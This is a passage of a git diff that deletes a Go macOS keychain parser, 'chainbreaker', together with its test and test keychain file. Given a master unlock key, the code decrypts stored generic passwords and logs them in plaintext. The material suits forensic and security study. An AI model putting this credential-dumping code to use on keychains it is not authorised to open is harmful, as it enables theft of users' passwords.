parseSchema(buf, hdr.SchemaOffset) - if err != nil { - return nil, err - } - if schema.TableCount == 0 { - return nil, errors.New("schema does not list any tables") - } - - kc := &Keychain{ - buf: buf, - header: hdr, - tableList: tableList, - tableEnum: make(map[uint32]int), - keyList: make(map[string][]byte), - } - if err := kc.buildTableIndex(); err != nil { - return nil, err - } - - metaOffset, err := kc.getTableOffset(cssmMetadata) - if err != nil { - return nil, err - } - - kc.baseAddr = headerSize + int(metaOffset) + metadataOffsetAdjustment - if kc.baseAddr+dbBlobSize > len(kc.buf) { - return nil, errors.New("db blob exceeds file size") - } - blob, err := parseDBBlob(kc.buf[kc.baseAddr : kc.baseAddr+dbBlobSize]) - if err != nil { - return nil, err - } - kc.dbblob = blob - - masterKey, err := decodeUnlockKey(unlockHex) - if err != nil { - return nil, err - } - - dbKey, err := kc.findWrappingKey(masterKey) - if err != nil { - return nil, err - } - kc.dbKey = dbKey - - if err := kc.generateKeyList(); err != nil { - return nil, err - } - - return kc, nil -} - -func parseHeader(buf []byte) (applDBHeader, error) { - if len(buf) < headerSize { - return applDBHeader{}, errors.New("file too small for header") - } - hdr := applDBHeader{} - copy(hdr.Signature[:], buf[:4]) - hdr.Version = binary.BigEndian.Uint32(buf[4:8]) - hdr.HeaderSize = binary.BigEndian.Uint32(buf[8:12]) - hdr.SchemaOffset = binary.BigEndian.Uint32(buf[12:16]) - hdr.AuthOffset = binary.BigEndian.Uint32(buf[16:20]) - return hdr, nil -} - -func parseSchema(buf []byte, offset uint32) (applDBSchema, []uint32, error) { - if int(offset)+schemaSize > len(buf) { - return applDBSchema{}, nil, errors.New("schema offset exceeds file size") - } - schema := applDBSchema{} - start := int(offset) - schema.SchemaSize = binary.BigEndian.Uint32(buf[start : start+4]) - schema.TableCount = binary.BigEndian.Uint32(buf[start+4 : start+8]) - - baseAddr := headerSize + schemaSize - tableList := make([]uint32, schema.TableCount) - for i := 0; i < int(schema.TableCount); i++ { - pos := baseAddr + i*atomSize - if pos+atomSize > len(buf) { - return applDBSchema{}, nil, errors.New("table list exceeds file size") - } - tableList[i] = binary.BigEndian.Uint32(buf[pos : pos+atomSize]) - } - return schema, tableList, nil -} - -func parseDBBlob(buf []byte) (dbBlob, error) { - if len(buf) < dbBlobSize { - return dbBlob{}, errors.New("db blob buffer too small") - } - blob := dbBlob{} - blob.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12]) - blob.TotalLength = binary.BigEndian.Uint32(buf[12:16]) - // Salt and IV are located after the random signature (16 bytes), sequence (4 bytes), - // and DB parameters (8 bytes) inside the blob structure. - blob.Salt = append([]byte{}, buf[44:64]...) - blob.IV = append([]byte{}, buf[64:72]...) - return blob, nil -} - -func decodeUnlockKey(hexKey string) ([]byte, error) { - cleaned := strings.TrimSpace(hexKey) - cleaned = strings.TrimPrefix(cleaned, "0x") - key, err := hex.DecodeString(cleaned) - if err != nil { - return nil, fmt.Errorf("unable to decode unlock key: %w", err) - } - if len(key) != keyLength { - return nil, fmt.Errorf("unlock key must be %d bytes (got %d)", keyLength, len(key)) - } - return key, nil -} - -func (kc *Keychain) buildTableIndex() error { - for idx, offset := range kc.tableList { - if offset == 0 { - continue - } - meta, _, err := kc.getTable(offset) - if err != nil { - continue - } - if _, exists := kc.tableEnum[meta.TableID]; !exists { - kc.tableEnum[meta.TableID] = idx - } - } - if len(kc.tableEnum) == 0 { - return errors.New("unable to derive table index") - } - return nil -} - -func (kc *Keychain) getTableOffset(tableID uint32) (uint32, error) { - idx, ok := kc.tableEnum[tableID] - if !ok || idx >= len(kc.tableList) { - return 0, fmt.Errorf("table id %d not present", tableID) - } - return kc.tableList[idx], nil -} - -func (kc *Keychain) getTableFromType(tableID uint32) (tableHeader, []uint32, error) { - offset, err := kc.getTableOffset(tableID) - if err != nil { - return tableHeader{}, nil, err - } - return kc.getTable(offset) -} - -func (kc *Keychain) getTable(offset uint32) (tableHeader, []uint32, error) { - base := headerSize + int(offset) - if base < 0 || base+tableHeaderSize > len(kc.buf) { - return tableHeader{}, nil, errors.New("table header exceeds file size") - } - meta := tableHeader{} - data := kc.buf[base : base+tableHeaderSize] - meta.TableSize = binary.BigEndian.Uint32(data[0:4]) - meta.TableID = binary.BigEndian.Uint32(data[4:8]) - meta.RecordCount = binary.BigEndian.Uint32(data[8:12]) - meta.Records = binary.BigEndian.Uint32(data[12:16]) - meta.IndexesOffset = binary.BigEndian.Uint32(data[16:20]) - meta.FreeListHead = binary.BigEndian.Uint32(data[20:24]) - meta.RecordNumbersCount = binary.BigEndian.Uint32(data[24:28]) - - recordBase := base + tableHeaderSize - recordList := make([]uint32, 0, meta.RecordCount) - for idx := 0; idx < int(meta.RecordCount); idx++ { - pos := recordBase + idx*atomSize - if pos+atomSize > len(kc.buf) { - return meta, recordList, errors.New("record offset exceeds file size") - } - value := binary.BigEndian.Uint32(kc.buf[pos : pos+atomSize]) - if value != 0 && value%4 == 0 { - recordList = append(recordList, value) - } - } - return meta, recordList, nil -} - -func (kc *Keychain) findWrappingKey(master []byte) ([]byte, error) { - start := kc.baseAddr + int(kc.dbblob.StartCryptoBlob) - end := kc.baseAddr + int(kc.dbblob.TotalLength) - if start < 0 || end > len(kc.buf) || start >= end { - return nil, errors.New("db blob cipher bounds invalid") - } - plain, err := kcdecrypt(master, kc.dbblob.IV, kc.buf[start:end]) - if err != nil { - return nil, err - } - if len(plain) < keyLength { - return nil, errors.New("db key shorter than expected") - } - return append([]byte{}, plain[:keyLength]...), nil -} - -func (kc *Keychain) generateKeyList() error { - _, records, err := kc.getTableFromType(cssmSymmetricKey) - if err != nil { - return err - } - for _, recordOffset := range records { - index, ciphertext, iv, err := kc.getKeyblobRecord(recordOffset) - if err != nil { - continue - } - key, err := keyblobDecryption(ciphertext, iv, kc.dbKey) - if err != nil || len(key) == 0 { - continue - } - kc.keyList[string(index)] = key - } - if len(kc.keyList) == 0 { - return errors.New("no symmetric keys recovered") - } - return nil -} - -func (kc *Keychain) getKeyblobRecord(recordOffset uint32) ([]byte, []byte, []byte, error) { - base, err := kc.getBaseAddress(cssmSymmetricKey, recordOffset) - if err != nil { - return nil, nil, nil, err - } - if base+keyBlobRecordHeaderSize > len(kc.buf) { - return nil, nil, nil, errors.New("keyblob header exceeds file size") - } - hdr := keyBlobRecordHeader{} - hdr.RecordSize = binary.BigEndian.Uint32(kc.buf[base : base+4]) - _ = binary.BigEndian.Uint32(kc.buf[base+4 : base+8]) // Skip RecordCount - - recordStart := base + keyBlobRecordHeaderSize - recordEnd := base + int(hdr.RecordSize) - if recordEnd > len(kc.buf) { - return nil, nil, nil, errors.New("keyblob record exceeds file size") - } - record := kc.buf[recordStart:recordEnd] - if len(record) < keyBlobStructSize { - return nil, nil, nil, errors.New("keyblob structure incomplete") - } - blob, err := parseKeyBlob(record[:keyBlobStructSize]) - if err != nil { - return nil, nil, nil, err - } - if blob.Magic != keyBlobMagic { - return nil, nil, nil, errors.New("unexpected keyblob magic") - } - if secureStorageGroup != readASCII(record, int(blob.TotalLength)+8, 4) { - return nil, nil, nil, errors.New("keyblob not part of secure storage group") - } - - cipherStart := int(blob.StartCryptoBlob) - cipherEnd := int(blob.TotalLength) - if cipherEnd > len(record) || cipherStart >= cipherEnd { - return nil, nil, nil, errors.New("invalid cipher bounds") - } - cipherText := append([]byte{}, record[cipherStart:cipherEnd]...) - - indexStart := int(blob.TotalLength) + 8 - indexEnd := indexStart + 20 - if indexEnd > len(record) { - return nil, nil, nil, errors.New("key index exceeds record length") - } - index := append([]byte{}, record[indexStart:indexEnd]...) - iv := append([]byte{}, blob.IV...) - return index, cipherText, iv, nil -} - -func parseKeyBlob(buf []byte) (keyBlob, error) { - if len(buf) < keyBlobStructSize { - return keyBlob{}, errors.New("key blob buffer too small") - } - kb := keyBlob{} - kb.Magic = binary.BigEndian.Uint32(buf[0:4]) - kb.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12]) - kb.TotalLength = binary.BigEndian.Uint32(buf[12:16]) - kb.IV = append([]byte{}, buf[16:24]...) - return kb, nil -} - -func (kc *Keychain) getBaseAddress(tableID, offset uint32) (int, error) { - switch tableID { - case 23972, 30912: - tableID = 16 - } - tableOffset, err := kc.getTableOffset(tableID) - if err != nil { - return 0, err - } - base := headerSize + int(tableOffset) - if offset != 0 { - base += int(offset) - } - if base > len(kc.buf) { - return 0, errors.New("base address exceeds buffer") - } - return base, nil -} - -func keyblobDecryption(encryptedblob, iv, dbkey []byte) ([]byte, error) { - plain, err := kcdecrypt(dbkey, magicCMSIV, encryptedblob) - if err != nil { - return nil, err - } - if len(plain) == 0 { - return nil, errors.New("empty plain blob") - } - if len(plain) < 32 { - return nil, errors.New("wrapped blob too short") - } - rev := make([]byte, 32) - for i := 0; i < 32; i++ { - rev[i] = plain[31-i] - } - finalPlain, err := kcdecrypt(dbkey, iv, rev) - if err != nil { - return nil, err - } - if len(finalPlain) < 4 { - return nil, errors.New("final plain too short") - } - key := finalPlain[4:] - if len(key) != keyLength { - return nil, errors.New("invalid unwrapped key length") - } - return append([]byte{}, key...), nil -} - -func kcdecrypt(key, iv, data []byte) ([]byte, error) { - if len(data) == 0 { - return nil, errors.New("ciphertext is empty") - } - if len(data)%blockSize != 0 { - return nil, errors.New("ciphertext not aligned to block size") - } - block, err := des.NewTripleDESCipher(key) - if err != nil { - return nil, err - } - if len(iv) != blockSize { - return nil, errors.New("invalid IV length") - } - plain := make([]byte, len(data)) - cipher.NewCBCDecrypter(block, iv).CryptBlocks(plain, data) - - pad := int(plain[len(plain)-1]) - if pad == 0 || pad > blockSize { - return nil, errors.New("invalid padding value") - } - for _, b := range plain[len(plain)-pad:] { - if int(b) != pad { - return nil, errors.New("padding verification failed") - } - } - return plain[:len(plain)-pad], nil -} - -func (kc *Keychain) DumpGenericPasswords() ([]genericPassword, error) { - _, records, err := kc.getTableFromType(cssmGenericPassword) - if err != nil { - return nil, err - } - results := make([]genericPassword, 0, len(records)) - for _, offset := range records { - rec, err := kc.parseGenericPasswordRecord(offset) - if err != nil { - continue - } - results = append(results, rec) - } - return results, nil -} - -func (kc *Keychain) parseGenericPasswordRecord(recordOffset uint32) (genericPassword, error) { - base, err := kc.getBaseAddress(cssmGenericPassword, recordOffset) - if err != nil { - return genericPassword{}, err - } - if base+genericPasswordHeaderSize > len(kc.buf) { - return genericPassword{}, errors.New("generic password header exceeds file size") - } - header, err := parseGenericPasswordHeader(kc.buf[base : base+genericPasswordHeaderSize]) - if err != nil { - return genericPassword{}, err - } - recordEnd := base + int(header.RecordSize) - if recordEnd > len(kc.buf) { - return genericPassword{}, errors.New("generic password record exceeds file size") - } - buffer := kc.buf[base+genericPasswordHeaderSize : recordEnd] - - ssgp, dbkey := kc.extractSSGP(header, buffer) - password, base64Encoded := decryptSSGP(ssgp, dbkey) - - rec := genericPassword{ - Description: kc.readLV(base, header.Description), - Creator: kc.readFourChar(base, header.Creator), - Type: kc.readFourChar(base, header.Type), - PrintName: kc.readLV(base, header.PrintName), - Alias: kc.readLV(base, header.Alias), - Account: kc.readLV(base, header.Account), - Service: kc.readLV(base, header.Service), - Created: kc.readKeychainTime(base, header.CreationDate), - LastModified: kc.readKeychainTime(base, header.ModDate), - Password: password, - PasswordBase64: base64Encoded, - } - return rec, nil -} - -func parseGenericPasswordHeader(buf []byte) (genericPasswordHeader, error) { - if len(buf) < genericPasswordHeaderSize { - return genericPasswordHeader{}, errors.New("generic password header too small") - } - vals := make([]uint32, 22) - for i := 0; i < 22; i++ { - start := i * 4 - vals[i] = binary.BigEndian.Uint32(buf[start : start+4]) - } - hdr := genericPasswordHeader{ - RecordSize: vals[0], - SSGPArea: vals[4], - CreationDate: vals[6], - ModDate: vals[7], - Description: vals[8], - Comment: vals[9], - Creator: vals[10], - Type: vals[11], - PrintName: vals[13], - Alias: vals[14], - Account: vals[19], - Service: vals[20], - } - return hdr, nil -} - -func (kc *Keychain) extractSSGP(header genericPasswordHeader, buffer []byte) (*ssgpBlock, []byte) { - if header.SSGPArea == 0 || int(header.SSGPArea) > len(buffer) { - return nil, nil - } - block, err := parseSSGP(buffer[:header.SSGPArea]) - if err != nil { - return nil, nil - } - keyIndex := make([]byte, 0, len(block.Magic)+len(block.Label)) - keyIndex = append(keyIndex, block.Magic...) - keyIndex = append(keyIndex, block.Label...) - dbkey, ok := kc.keyList[string(keyIndex)] - if !ok { - return block, nil - } - return block, dbkey -} - -func parseSSGP(buf []byte) (*ssgpBlock, error) { - if len(buf) < 28 { - return nil, errors.New("ssgp buffer too small") - } - block := &ssgpBlock{ - Magic: append([]byte{}, buf[0:4]...), - Label: append([]byte{}, buf[4:20]...), - IV: append([]byte{}, buf[20:28]...), - EncryptedPassword: append([]byte{}, buf[28:]...), - } - return block, nil -} - -func decryptSSGP(block *ssgpBlock, dbkey []byte) (string, bool) { - if block == nil || len(dbkey) == 0 { - return keychainLockedSignature, false - } - plain, err := kcdecrypt(dbkey, block.IV, block.EncryptedPassword) - if err != nil || len(plain) == 0 { - return keychainLockedSignature, false - } - if utf8.Valid(plain) { - return string(plain), false - } - return base64.StdEncoding.EncodeToString(plain), true -} - -func (kc *Keychain) readKeychainTime(base int, ptr uint32) string { - if ptr == 0 { - return "" - } - offset := base + maskedPointer(ptr) - if offset < 0 || offset+16 > len(kc.buf) { - return "" - } - raw := bytes.TrimRight(kc.buf[offset:offset+16], "\x00") - if len(raw) == 0 { - return "" - } - parsed, err := time.Parse("20060102150405Z", string(raw)) - if err != nil { - return string(raw) - } - return parsed.Format(time.RFC3339) -} - -func (kc *Keychain) readFourChar(base int, ptr uint32) string { - if ptr == 0 { - return "" - } - offset := base + maskedPointer(ptr) - if offset < 0 || offset+4 > len(kc.buf) { - return "" - } - return strings.TrimRight(string(kc.buf[offset:offset+4]), "\x00") -} - -func (kc *Keychain) readLV(base int, ptr uint32) string { - if ptr == 0 { - return "" - } - offset := base + maskedPointer(ptr) - if offset < 0 || offset+4 > len(kc.buf) { - return "" - } - length := int(binary.BigEndian.Uint32(kc.buf[offset : offset+4])) - padded := alignToWord(length) - start := offset + 4 - end := start + padded - if end > len(kc.buf) { - return "" - } - data := kc.buf[start : start+length] - data = bytes.TrimRight(data, "\x00") - return string(data) -} - -func maskedPointer(value uint32) int { - return int(value & 0xFFFFFFFE) -} - -func alignToWord(value int) int { - if value%4 == 0 { - return value - } - return ((value / 4) + 1) * 4 -} - -func readASCII(buf []byte, start, length int) string { - if start < 0 || start+length > len(buf) { - return "" - } - return string(buf[start : start+length]) -} diff --git a/utils/chainbreaker/chainbreaker_test.go b/utils/chainbreaker/chainbreaker_test.go deleted file mode 100644 index 6c9b9ba..0000000 --- a/utils/chainbreaker/chainbreaker_test.go +++ /dev/null @@ -1,30 +0,0 @@ -package chainbreaker - -import ( - "testing" -) - -func TestUnlockKeychain(t *testing.T) { - keychain, err := New("./testdata/test.keychain-db", "6d43376c0d257bbaca2c41eded65b3b34a1a96bd19979bde") - if err != nil { - t.Fatalf("Failed to unlock keychain: %v", err) - } - records, err := keychain.DumpGenericPasswords() - if err != nil { - t.Fatal(err) - } - - for _, rec := range records { - t.Log("[+] Generic Password Record") - t.Logf(" [-] Service: %s\n", rec.Service) - t.Logf(" [-] Account: %s\n", rec.Account) - t.Logf(" [-] Description: %s\n", rec.Description) - t.Logf(" [-] Created: %s\n", rec.Created) - t.Logf(" [-] Last Modified: %s\n", rec.LastModified) - if rec.PasswordBase64 { - t.Logf(" [-] Base64 Password: %s\n", rec.Password) - } else { - t.Logf(" [-] Password: %s\n", rec.Password) - } - } -} diff --git a/utils/chainbreaker/testdata/test.keychain-db b/utils/chainbreaker/testdata/test.keychain-db deleted file mode 100644 index 33a9d61..0000000 Binary files a/utils/chainbreaker/testdata/test.keychain-db and /dev/null differ